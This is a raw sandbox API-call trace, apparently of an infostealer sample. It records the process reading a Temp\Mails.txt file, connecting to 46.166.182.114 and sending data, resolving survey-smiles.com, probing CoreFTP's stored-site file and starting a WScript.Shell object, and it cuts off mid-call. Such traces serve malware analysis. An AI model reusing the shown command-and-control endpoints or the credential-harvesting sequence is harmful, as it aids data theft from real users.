[0059.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0059.263] GetLastError () returned 0x2 [0059.263] SetErrorMode (uMode=0x1) returned 0x0 [0059.263] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0059.263] GetLastError () returned 0x2 [0059.263] SetErrorMode (uMode=0x0) returned 0x1 [0060.276] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0060.276] GetLastError () returned 0x2 [0060.276] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0060.277] GetLastError () returned 0x2 [0060.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0060.277] GetLastError () returned 0x2 [0060.277] SetErrorMode (uMode=0x1) returned 0x0 [0060.277] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0060.277] GetLastError () returned 0x2 [0060.277] SetErrorMode (uMode=0x0) returned 0x1 [0061.290] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0061.290] GetLastError () returned 0x2 [0061.290] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0061.291] GetLastError () returned 0x2 [0061.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0061.291] GetLastError () returned 0x2 [0061.291] SetErrorMode (uMode=0x1) returned 0x0 [0061.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.291] GetLastError () returned 0x2 [0061.291] SetErrorMode (uMode=0x0) returned 0x1 [0062.305] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0062.305] GetLastError () returned 0x2 [0062.305] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0062.306] GetLastError () returned 0x2 [0062.306] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0062.306] GetLastError () returned 0x2 [0062.306] SetErrorMode (uMode=0x1) returned 0x0 [0062.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0062.306] GetLastError () returned 0x2 [0062.306] SetErrorMode (uMode=0x0) returned 0x1 [0063.318] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0063.318] GetLastError () returned 0x2 [0063.318] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0063.319] GetLastError () returned 0x2 [0063.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0063.319] GetLastError () returned 0x2 [0063.319] SetErrorMode (uMode=0x1) returned 0x0 [0063.319] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0063.319] GetLastError () returned 0x2 [0063.319] SetErrorMode (uMode=0x0) returned 0x1 [0064.332] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0064.332] GetLastError () returned 0x2 [0064.332] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0064.333] GetLastError () returned 0x2 [0064.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0064.333] GetLastError () returned 0x2 [0064.333] SetErrorMode (uMode=0x1) returned 0x0 [0064.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1310bb0, ftCreationTime.dwHighDateTime=0x1d54023, ftLastAccessTime.dwLowDateTime=0xf1310bb0, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xf1336d10, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0x1db)) returned 1 [0064.333] GetLastError () returned 0x2 [0064.333] SetErrorMode (uMode=0x0) returned 0x1 [0064.333] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0064.334] GetLastError () returned 0x2 [0064.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e448, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0064.334] GetLastError () returned 0x2 [0064.334] SetErrorMode (uMode=0x1) returned 0x0 [0064.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x51c [0064.334] GetLastError () returned 0x0 [0064.334] GetFileType (hFile=0x51c) returned 0x1 [0064.334] GetFileType (hFile=0x51c) returned 0x1 [0064.335] ReadFile (in: hFile=0x51c, lpBuffer=0x28567a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e9b0, lpOverlapped=0x0 | out: lpBuffer=0x28567a4*, lpNumberOfBytesRead=0x26e9b0*=0x1db, lpOverlapped=0x0) returned 1 [0064.335] GetLastError () returned 0x0 [0064.335] ReadFile (in: hFile=0x51c, lpBuffer=0x28567a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e9b0, lpOverlapped=0x0 | out: lpBuffer=0x28567a4*, lpNumberOfBytesRead=0x26e9b0*=0x0, lpOverlapped=0x0) returned 1 [0064.335] GetLastError () returned 0x0 [0064.336] CloseHandle (hObject=0x51c) returned 1 [0064.336] GetLastError () returned 0x0 [0064.350] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0064.350] GetLastError () returned 0x0 [0064.350] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0064.350] GetLastError () returned 0x0 [0064.350] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0064.351] GetLastError () returned 0x0 [0064.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0064.351] GetLastError () returned 0x0 [0064.351] SetErrorMode (uMode=0x1) returned 0x0 [0064.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1310bb0, ftCreationTime.dwHighDateTime=0x1d54023, ftLastAccessTime.dwLowDateTime=0xf1310bb0, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xf1336d10, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0x1db)) returned 1 [0064.351] GetLastError () returned 0x0 [0064.351] SetErrorMode (uMode=0x0) returned 0x1 [0064.351] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0064.351] GetLastError () returned 0x0 [0064.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", nBufferLength=0x105, lpBuffer=0x26e448, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt", lpFilePart=0x0) returned 0x3a [0064.352] GetLastError () returned 0x0 [0064.352] SetErrorMode (uMode=0x1) returned 0x0 [0064.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Mails.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mails.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x51c [0064.352] GetLastError () returned 0x0 [0064.352] GetFileType (hFile=0x51c) returned 0x1 [0064.352] GetFileType (hFile=0x51c) returned 0x1 [0064.352] ReadFile (in: hFile=0x51c, lpBuffer=0x2679788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e9b0, lpOverlapped=0x0 | out: lpBuffer=0x2679788*, lpNumberOfBytesRead=0x26e9b0*=0x1db, lpOverlapped=0x0) returned 1 [0064.352] GetLastError () returned 0x0 [0064.352] ReadFile (in: hFile=0x51c, lpBuffer=0x2679788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e9b0, lpOverlapped=0x0 | out: lpBuffer=0x2679788*, lpNumberOfBytesRead=0x26e9b0*=0x0, lpOverlapped=0x0) returned 1 [0064.352] GetLastError () returned 0x0 [0064.352] CloseHandle (hObject=0x51c) returned 1 [0064.352] GetLastError () returned 0x0 [0064.356] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e87c*=0x3c0, lpdwindex=0x26e634 | out: lpdwindex=0x26e634) returned 0x80010115 [0064.357] CoGetContextToken (in: pToken=0x26dc4c | out: pToken=0x26dc4c) returned 0x0 [0064.357] CoGetContextToken (in: pToken=0x26dc1c | out: pToken=0x26dc1c) returned 0x0 [0064.357] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.357] IUnknown:Release (This=0x78e358) returned 0x1 [0064.357] IUnknown:Release (This=0x78e358) returned 0x0 [0064.357] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.357] IUnknown:Release (This=0x7b2bf0) returned 0x1 [0064.357] IUnknown:Release (This=0x7b2bf0) returned 0x0 [0064.357] IUnknown:Release (This=0x4f9c898) returned 0x3 [0064.358] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.358] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.358] IUnknown:Release (This=0x4f9d51c) returned 0x1 [0064.358] IUnknown:Release (This=0x4f9d51c) returned 0x0 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] IUnknown:Release (This=0x7b88c8) returned 0x0 [0064.361] IUnknown:Release (This=0x7b8920) returned 0x0 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.361] WbemLocator:IUnknown:Release (This=0x4f9d304) returned 0x2 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] IUnknown:Release (This=0x7b8818) returned 0x0 [0064.361] IUnknown:Release (This=0x7b87ec) returned 0x0 [0064.361] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.361] IUnknown:Release (This=0x4f9d884) returned 0x1 [0064.362] IUnknown:Release (This=0x4f9d884) returned 0x0 [0064.363] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.363] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.363] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.363] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.363] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.364] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.364] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.364] IUnknown:Release (This=0x4f9d8c0) returned 0x1 [0064.364] WbemLocator:IUnknown:Release (This=0x4f9d304) returned 0x1 [0064.364] WbemLocator:IUnknown:Release (This=0x4f9d304) returned 0x0 [0064.364] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.364] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.364] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.364] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.365] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.365] IUnknown:Release (This=0x4f9d8c0) returned 0x0 [0064.365] IUnknown:Release (This=0x7b8978) returned 0x0 [0064.365] IUnknown:Release (This=0x7b894c) returned 0x0 [0064.366] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.366] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.366] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.367] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.367] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0064.367] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.367] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x1 [0064.367] WbemLocator:IUnknown:Release (This=0x4f9dc84) returned 0x0 [0064.367] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.367] IUnknown:Release (This=0x4fa5c48) returned 0x1 [0064.367] CoGetContextToken (in: pToken=0x26dbac | out: pToken=0x26dbac) returned 0x0 [0064.367] IUnknown:Release (This=0x7e8250) returned 0x1 [0064.367] IUnknown:Release (This=0x7e8250) returned 0x0 [0064.371] CoGetContextToken (in: pToken=0x26dc4c | out: pToken=0x26dc4c) returned 0x0 [0064.371] CoGetContextToken (in: pToken=0x26dc18 | out: pToken=0x26dc18) returned 0x0 [0064.371] WbemLocator:IUnknown:Release (This=0x7d7f3c) returned 0x1 [0064.371] IUnknown:Release (This=0x4fa5b44) returned 0x0 [0064.383] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e85c*=0x3b4, lpdwindex=0x26e614 | out: lpdwindex=0x26e614) returned 0x80010115 [0064.383] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e85c*=0x3bc, lpdwindex=0x26e614 | out: lpdwindex=0x26e614) returned 0x80010115 [0064.383] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e8b0*=0x3e0, lpdwindex=0x26e668 | out: lpdwindex=0x26e668) returned 0x80010115 [0064.384] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e8b0*=0x3e8, lpdwindex=0x26e668 | out: lpdwindex=0x26e668) returned 0x80010115 [0064.384] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e8b0*=0x3f0, lpdwindex=0x26e668 | out: lpdwindex=0x26e668) returned 0x80010115 [0064.384] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4dc [0064.385] GetLastError () returned 0x0 [0064.385] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x498 [0064.385] GetLastError () returned 0x0 [0064.386] WSAConnect (in: s=0x4dc, name=0x269236c*(sa_family=2, sin_port=0x50, sin_addr="46.166.182.114"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0064.413] GetLastError () returned 0x0 [0064.413] closesocket (s=0x498) returned 0 [0064.413] GetLastError () returned 0x0 [0064.413] send (s=0x4dc, buf=0x2692cd8*, len=263, flags=0) returned 263 [0064.414] GetLastError () returned 0x0 [0064.414] select (in: nfds=0, readfds=0x2692dec, writefds=0x0, exceptfds=0x0, timeout=0x26e780 | out: readfds=0x2692dec, writefds=0x0, exceptfds=0x0) returned 1 [0064.448] GetLastError () returned 0x0 [0064.448] setsockopt (s=0x4dc, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0064.448] GetLastError () returned 0x0 [0064.448] recv (in: s=0x4dc, buf=0x2691118, len=4096, flags=0 | out: buf=0x2691118*) returned 367 [0064.448] GetLastError () returned 0x0 [0064.450] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e604*=0x3c0, lpdwindex=0x26e3bc | out: lpdwindex=0x26e3bc) returned 0x80010115 [0064.450] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e5e4*=0x3b4, lpdwindex=0x26e39c | out: lpdwindex=0x26e39c) returned 0x80010115 [0064.450] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e5e4*=0x3bc, lpdwindex=0x26e39c | out: lpdwindex=0x26e39c) returned 0x80010115 [0064.450] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e638*=0x3e0, lpdwindex=0x26e3f0 | out: lpdwindex=0x26e3f0) returned 0x80010115 [0064.450] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e638*=0x3e8, lpdwindex=0x26e3f0 | out: lpdwindex=0x26e3f0) returned 0x80010115 [0064.451] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e638*=0x3f0, lpdwindex=0x26e3f0 | out: lpdwindex=0x26e3f0) returned 0x80010115 [0064.451] shutdown (s=0x4dc, how=2) returned 0 [0064.451] GetLastError () returned 0x0 [0064.451] closesocket (s=0x4dc) returned 0 [0064.452] GetLastError () returned 0x0 [0064.452] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4dc [0064.452] GetLastError () returned 0x0 [0064.452] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x498 [0064.452] GetLastError () returned 0x0 [0064.452] getaddrinfo (in: pNodeName="survey-smiles.com", pServiceName=0x0, pHints=0x26e774*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x26e508 | out: ppResult=0x26e508*=0x5044a38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="survey-smiles.com", ai_addr=0x5044a60*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) returned 0 [0064.455] GetLastError () returned 0x0 [0064.455] FreeAddrInfoW (pAddrInfo=0x5044a38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="畳癲祥猭業敬⹳潣mԄ䧈Ԅ᪆闳", ai_addr=0x5044a60*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) [0064.455] GetLastError () returned 0x0 [0064.455] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e6dc*=0x480, lpdwindex=0x26e494 | out: lpdwindex=0x26e494) returned 0x80010115 [0064.455] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26e6dc*=0x488, lpdwindex=0x26e494 | out: lpdwindex=0x26e494) returned 0x80010115 [0064.456] WSAConnect (in: s=0x4dc, name=0x269540c*(sa_family=2, sin_port=0x50, sin_addr="127.0.0.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0065.471] GetLastError () returned 0x274d [0065.471] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x787820, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0065.471] GetLastError () returned 0x274d [0065.476] setsockopt (s=0x4dc, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0065.476] GetLastError () returned 0x0 [0065.476] closesocket (s=0x4dc) returned 0 [0065.476] GetLastError () returned 0x0 [0065.476] setsockopt (s=0x498, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0065.476] GetLastError () returned 0x0 [0065.476] closesocket (s=0x498) returned 0 [0065.477] GetLastError () returned 0x0 [0065.478] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0065.478] GetLastError () returned 0x0 [0065.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CoreFTP\\sites.idx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\coreftp\\sites.idx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0065.499] GetLastError () returned 0x3 [0065.502] SetErrorMode (uMode=0x0) returned 0x1 [0065.514] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x26e8c8 | out: lpclsid=0x26e8c8*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0065.518] CoGetClassObject (in: rclsid=0x7cb25c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, 